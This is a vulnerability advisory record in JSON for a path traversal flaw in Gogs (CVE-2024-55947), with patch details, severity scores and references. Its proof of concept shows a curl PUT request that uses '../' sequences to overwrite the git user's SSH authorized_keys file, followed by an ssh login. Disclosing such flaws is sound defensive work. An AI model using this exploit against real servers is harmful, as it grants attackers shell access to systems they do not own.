{"id":"GHSA-qf5v-rp47-55gg","revision":"80e8074dff0140c5bd157b719ddb7d6e","records":[{"revision":"80e8074dff0140c5bd157b719ddb7d6e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qf5v-rp47-55gg","aliases":["CVE-2024-55947","GO-2024-3356"],"title":"Path Traversal in file update API in gogs","description":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"<base64encoded: your ssh pub key>\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","state":0,"publishedAt":"2024-12-23T17:53:16+00:00","modifiedAt":"2026-09-10T03:50:56.1302901+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.13.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://nvd.nist.gov/vuln/detail/CVE-2024-55947","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","https://github.com/gogs/gogs"],"sourceUrl":"https://github.com/advisories/GHSA-qf5v-rp47-55gg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qf5v-rp47-55gg","identifiers":["GHSA-qf5v-rp47-55gg","CVE-2024-55947","GO-2024-3356"]},"retained":false,"historicalAffected":[]}],"coverage":[]}